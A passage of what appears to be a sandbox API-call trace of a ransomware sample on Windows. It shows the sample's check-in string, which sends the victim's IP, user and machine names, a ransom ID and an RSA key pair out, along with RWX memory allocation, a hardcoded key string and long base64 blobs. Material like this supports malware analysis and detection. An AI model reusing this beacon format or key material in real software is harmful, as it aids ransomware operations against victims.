Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/18561421312&pub_key=BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI&priv_key=BwIAAACkAABSU0EyAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiIR6fAfl+7BkZzOkyfZZMI60hx9dRPdWdlHz4e7qS5dn7RVkQPbtVBrph0ImjDK35G0DNavQr9Kc7O4ap+kdF4q6iWiWDMMiGQHLVDbi2n+d4uMOdjyEmwPnTSDviobTeYXMD9oHbGGW6k5SgOzOhc1gve9CMjraCmC6p8wuuVvLlJVrl6Ri6//pYJfBYIKjjuRRiP605TNEyBJKL9pWxercjNIhFytu7qHxlReH2JLEkmiMmNimsFen46Y9dIBBI7hBn+lZesEirSR6G3AUq8jvtr9GrD5zuW9EWx4yRH2Cqlsw19axlWy+iAbFfMe8QRk/q9gcyw+UKQ4mQbZn9bvBFWfgy2r+YKkE5Z5SOyM+/QIJ4LnxNm4kuJKkXIpihqNOPDCI8U6j+WvaRrsrTy2IdNiZilb3+IuUgR8lBNrnAL0vbMt56nKj3huKKpRHvCZ2HFid5k714lU4Bkzs307rw7RuM56wNyQo05T02kXh6iXTnoXQrG7YCp9F0UMWMS+T3D8+2oXDQTirJNczLnnT2z+u+46ROekvY6YvkaaSwyc82J2yl96vRFXpu6ovVQYudfReZDaXuQNIVqZ2EZVlc6GrSrdC/H5AYWmvKGSkGoIRh2tIRjNUMuf0rIaDaCqGFMHnq4VvG1prO9tG5PkrmgDiVGySGSbPs0Fb4lbEKFUC5ORgEaNl3eEAZSJBmWqZzNxp+12Gj17zSKNbDK2NGMBVLPL8USQXhpnhd2WMBJ760EA9jGNC2sKkCWBVUFStJ0msp01xyV5LWhgR8GLr1hKXma+0wS9XY74qj4d6VLKYvfJPD+/g0XiLZnqIKUHXZwp1iSi9MeGStuDZBndIEFBjXIZ04dc1jkKPrtS6C3ePbc9tzugxmL3Qe16eHVrspOoaH4CUTj10m9H9KQo1WBdQK3clfjQ1Ync9ULHBZhDYJpYAU0F9Lg8DZCuk8nV4BaCD1LveWhGeCzm5w7JwQpNP3mcMzli/xyYKHBKmuyZ0toaxXinjqh6HIPluAu+G49xSYZwqzWCjXLztxXLqScNApQc9AxDpDekxDjgYEdv/4xL0gWAWNZ3eugEx2mYKa2bZj+gE4i2Jk9xygoUFhqLNBIR7UYYtC9h03Ft/C1vtGZTLbQ8MAUWhgXzQnLCp2wll2Iu02n9nJ4Fih5FT4PS/B5JXum1z/tJ0XHWwk=&version=1.0") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/18561421312&pub_key=BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI&priv_key=BwIAAACkAABSU0EyAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiIR6fAfl+7BkZzOkyfZZMI60hx9dRPdWdlHz4e7qS5dn7RVkQPbtVBrph0ImjDK35G0DNavQr9Kc7O4ap+kdF4q6iWiWDMMiGQHLVDbi2n+d4uMOdjyEmwPnTSDviobTeYXMD9oHbGGW6k5SgOzOhc1gve9CMjraCmC6p8wuuVvLlJVrl6Ri6//pYJfBYIKjjuRRiP605TNEyBJKL9pWxercjNIhFytu7qHxlReH2JLEkmiMmNimsFen46Y9dIBBI7hBn+lZesEirSR6G3AUq8jvtr9GrD5zuW9EWx4yRH2Cqlsw19axlWy+iAbFfMe8QRk/q9gcyw+UKQ4mQbZn9bvBFWfgy2r+YKkE5Z5SOyM+/QIJ4LnxNm4kuJKkXIpihqNOPDCI8U6j+WvaRrsrTy2IdNiZilb3+IuUgR8lBNrnAL0vbMt56nKj3huKKpRHvCZ2HFid5k714lU4Bkzs307rw7RuM56wNyQo05T02kXh6iXTnoXQrG7YCp9F0UMWMS+T3D8+2oXDQTirJNczLnnT2z+u+46ROekvY6YvkaaSwyc82J2yl96vRFXpu6ovVQYudfReZDaXuQNIVqZ2EZVlc6GrSrdC/H5AYWmvKGSkGoIRh2tIRjNUMuf0rIaDaCqGFMHnq4VvG1prO9tG5PkrmgDiVGySGSbPs0Fb4lbEKFUC5ORgEaNl3eEAZSJBmWqZzNxp+12Gj17zSKNbDK2NGMBVLPL8USQXhpnhd2WMBJ760EA9jGNC2sKkCWBVUFStJ0msp01xyV5LWhgR8GLr1hKXma+0wS9XY74qj4d6VLKYvfJPD+/g0XiLZnqIKUHXZwp1iSi9MeGStuDZBndIEFBjXIZ04dc1jkKPrtS6C3ePbc9tzugxmL3Qe16eHVrspOoaH4CUTj10m9H9KQo1WBdQK3clfjQ1Ync9ULHBZhDYJpYAU0F9Lg8DZCuk8nV4BaCD1LveWhGeCzm5w7JwQpNP3mcMzli/xyYKHBKmuyZ0toaxXinjqh6HIPluAu+G49xSYZwqzWCjXLztxXLqScNApQc9AxDpDekxDjgYEdv/4xL0gWAWNZ3eugEx2mYKa2bZj+gE4i2Jk9xygoUFhqLNBIR7UYYtC9h03Ft/C1vtGZTLbQ8MAUWhgXzQnLCp2wll2Iu02n9nJ4Fih5FT4PS/B5JXum1z/tJ0XHWwk=&version=1.0" [0042.879] lstrlenW (lpString="action=call&ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/18561421312&pub_key=BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI&priv_key=BwIAAACkAABSU0EyAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiIR6fAfl+7BkZzOkyfZZMI60hx9dRPdWdlHz4e7qS5dn7RVkQPbtVBrph0ImjDK35G0DNavQr9Kc7O4ap+kdF4q6iWiWDMMiGQHLVDbi2n+d4uMOdjyEmwPnTSDviobTeYXMD9oHbGGW6k5SgOzOhc1gve9CMjraCmC6p8wuuVvLlJVrl6Ri6//pYJfBYIKjjuRRiP605TNEyBJKL9pWxercjNIhFytu7qHxlReH2JLEkmiMmNimsFen46Y9dIBBI7hBn+lZesEirSR6G3AUq8jvtr9GrD5zuW9EWx4yRH2Cqlsw19axlWy+iAbFfMe8QRk/q9gcyw+UKQ4mQbZn9bvBFWfgy2r+YKkE5Z5SOyM+/QIJ4LnxNm4kuJKkXIpihqNOPDCI8U6j+WvaRrsrTy2IdNiZilb3+IuUgR8lBNrnAL0vbMt56nKj3huKKpRHvCZ2HFid5k714lU4Bkzs307rw7RuM56wNyQo05T02kXh6iXTnoXQrG7YCp9F0UMWMS+T3D8+2oXDQTirJNczLnnT2z+u+46ROekvY6YvkaaSwyc82J2yl96vRFXpu6ovVQYudfReZDaXuQNIVqZ2EZVlc6GrSrdC/H5AYWmvKGSkGoIRh2tIRjNUMuf0rIaDaCqGFMHnq4VvG1prO9tG5PkrmgDiVGySGSbPs0Fb4lbEKFUC5ORgEaNl3eEAZSJBmWqZzNxp+12Gj17zSKNbDK2NGMBVLPL8USQXhpnhd2WMBJ760EA9jGNC2sKkCWBVUFStJ0msp01xyV5LWhgR8GLr1hKXma+0wS9XY74qj4d6VLKYvfJPD+/g0XiLZnqIKUHXZwp1iSi9MeGStuDZBndIEFBjXIZ04dc1jkKPrtS6C3ePbc9tzugxmL3Qe16eHVrspOoaH4CUTj10m9H9KQo1WBdQK3clfjQ1Ync9ULHBZhDYJpYAU0F9Lg8DZCuk8nV4BaCD1LveWhGeCzm5w7JwQpNP3mcMzli/xyYKHBKmuyZ0toaxXinjqh6HIPluAu+G49xSYZwqzWCjXLztxXLqScNApQc9AxDpDekxDjgYEdv/4xL0gWAWNZ3eugEx2mYKa2bZj+gE4i2Jk9xygoUFhqLNBIR7UYYtC9h03Ft/C1vtGZTLbQ8MAUWhgXzQnLCp2wll2Iu02n9nJ4Fih5FT4PS/B5JXum1z/tJ0XHWwk=&version=1.0") returned 2171 [0042.879] VirtualAlloc (lpAddress=0x0, dwSize=0x87c2, flAllocationType=0x3000, flProtect=0x40) returned 0x1ec0000 [0042.879] lstrlenW (lpString="action=call&ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/18561421312&pub_key=BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI&priv_key=BwIAAACkAABSU0EyAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiIR6fAfl+7BkZzOkyfZZMI60hx9dRPdWdlHz4e7qS5dn7RVkQPbtVBrph0ImjDK35G0DNavQr9Kc7O4ap+kdF4q6iWiWDMMiGQHLVDbi2n+d4uMOdjyEmwPnTSDviobTeYXMD9oHbGGW6k5SgOzOhc1gve9CMjraCmC6p8wuuVvLlJVrl6Ri6//pYJfBYIKjjuRRiP605TNEyBJKL9pWxercjNIhFytu7qHxlReH2JLEkmiMmNimsFen46Y9dIBBI7hBn+lZesEirSR6G3AUq8jvtr9GrD5zuW9EWx4yRH2Cqlsw19axlWy+iAbFfMe8QRk/q9gcyw+UKQ4mQbZn9bvBFWfgy2r+YKkE5Z5SOyM+/QIJ4LnxNm4kuJKkXIpihqNOPDCI8U6j+WvaRrsrTy2IdNiZilb3+IuUgR8lBNrnAL0vbMt56nKj3huKKpRHvCZ2HFid5k714lU4Bkzs307rw7RuM56wNyQo05T02kXh6iXTnoXQrG7YCp9F0UMWMS+T3D8+2oXDQTirJNczLnnT2z+u+46ROekvY6YvkaaSwyc82J2yl96vRFXpu6ovVQYudfReZDaXuQNIVqZ2EZVlc6GrSrdC/H5AYWmvKGSkGoIRh2tIRjNUMuf0rIaDaCqGFMHnq4VvG1prO9tG5PkrmgDiVGySGSbPs0Fb4lbEKFUC5ORgEaNl3eEAZSJBmWqZzNxp+12Gj17zSKNbDK2NGMBVLPL8USQXhpnhd2WMBJ760EA9jGNC2sKkCWBVUFStJ0msp01xyV5LWhgR8GLr1hKXma+0wS9XY74qj4d6VLKYvfJPD+/g0XiLZnqIKUHXZwp1iSi9MeGStuDZBndIEFBjXIZ04dc1jkKPrtS6C3ePbc9tzugxmL3Qe16eHVrspOoaH4CUTj10m9H9KQo1WBdQK3clfjQ1Ync9ULHBZhDYJpYAU0F9Lg8DZCuk8nV4BaCD1LveWhGeCzm5w7JwQpNP3mcMzli/xyYKHBKmuyZ0toaxXinjqh6HIPluAu+G49xSYZwqzWCjXLztxXLqScNApQc9AxDpDekxDjgYEdv/4xL0gWAWNZ3eugEx2mYKa2bZj+gE4i2Jk9xygoUFhqLNBIR7UYYtC9h03Ft/C1vtGZTLbQ8MAUWhgXzQnLCp2wll2Iu02n9nJ4Fih5FT4PS/B5JXum1z/tJ0XHWwk=&version=1.0") returned 2171 [0042.879] lstrlenW (lpString="action=call&ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/18561421312&pub_key=BgIAAACkAABSU0ExAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiI&priv_key=BwIAAACkAABSU0EyAAgAAAEAAQA/jXCVKmv9q8DTuEfKNdJ8aa75isEjAUCaUuJz00mKpw2MlOrTeX3IrpaltXsWXPoZg/nHafaqZFI4/tGq7bSuNi8ueYIaFXFf5dDk87CkD11CphSGOPwHpZRgFo2sLMw1jD3FR58THsQKTg3cVJ1ed7k2rzGtNiryJxL2W/A2W9cPpE9+txucLYNCOfPAHp4VCtViWK4GptD/3V5u7apWNuEWTM85ys6qpc3m1jkJE0ZQQ3/jK7Oxf/1Mmpq6lXdqDgG1Ak0HnF0wukOdIScxIptN8WP/9NwuGoqnb6gDewUxzLd/zHPtxOlTVpTfSMjguBwx3R4r63d2BRGR4KiIR6fAfl+7BkZzOkyfZZMI60hx9dRPdWdlHz4e7qS5dn7RVkQPbtVBrph0ImjDK35G0DNavQr9Kc7O4ap+kdF4q6iWiWDMMiGQHLVDbi2n+d4uMOdjyEmwPnTSDviobTeYXMD9oHbGGW6k5SgOzOhc1gve9CMjraCmC6p8wuuVvLlJVrl6Ri6//pYJfBYIKjjuRRiP605TNEyBJKL9pWxercjNIhFytu7qHxlReH2JLEkmiMmNimsFen46Y9dIBBI7hBn+lZesEirSR6G3AUq8jvtr9GrD5zuW9EWx4yRH2Cqlsw19axlWy+iAbFfMe8QRk/q9gcyw+UKQ4mQbZn9bvBFWfgy2r+YKkE5Z5SOyM+/QIJ4LnxNm4kuJKkXIpihqNOPDCI8U6j+WvaRrsrTy2IdNiZilb3+IuUgR8lBNrnAL0vbMt56nKj3huKKpRHvCZ2HFid5k714lU4Bkzs307rw7RuM56wNyQo05T02kXh6iXTnoXQrG7YCp9F0UMWMS+T3D8+2oXDQTirJNczLnnT2z+u+46ROekvY6YvkaaSwyc82J2yl96vRFXpu6ovVQYudfReZDaXuQNIVqZ2EZVlc6GrSrdC/H5AYWmvKGSkGoIRh2tIRjNUMuf0rIaDaCqGFMHnq4VvG1prO9tG5PkrmgDiVGySGSbPs0Fb4lbEKFUC5ORgEaNl3eEAZSJBmWqZzNxp+12Gj17zSKNbDK2NGMBVLPL8USQXhpnhd2WMBJ760EA9jGNC2sKkCWBVUFStJ0msp01xyV5LWhgR8GLr1hKXma+0wS9XY74qj4d6VLKYvfJPD+/g0XiLZnqIKUHXZwp1iSi9MeGStuDZBndIEFBjXIZ04dc1jkKPrtS6C3ePbc9tzugxmL3Qe16eHVrspOoaH4CUTj10m9H9KQo1WBdQK3clfjQ1Ync9ULHBZhDYJpYAU0F9Lg8DZCuk8nV4BaCD1LveWhGeCzm5w7JwQpNP3mcMzli/xyYKHBKmuyZ0toaxXinjqh6HIPluAu+G49xSYZwqzWCjXLztxXLqScNApQc9AxDpDekxDjgYEdv/4xL0gWAWNZ3eugEx2mYKa2bZj+gE4i2Jk9xygoUFhqLNBIR7UYYtC9h03Ft/C1vtGZTLbQ8MAUWhgXzQnLCp2wll2Iu02n9nJ4Fih5FT4PS/B5JXum1z/tJ0XHWwk=&version=1.0") returned 2171 [0042.880] lstrlenA (lpString="aeriedjD#shasj") returned 14 [0042.880] CryptBinaryToStringA (in: pbBinary=0x26d0000, cbBinary=0x10f6, dwFlags=0x40000001, pszString=0x1ec0000, pcchString=0x19fd18 | out: pszString="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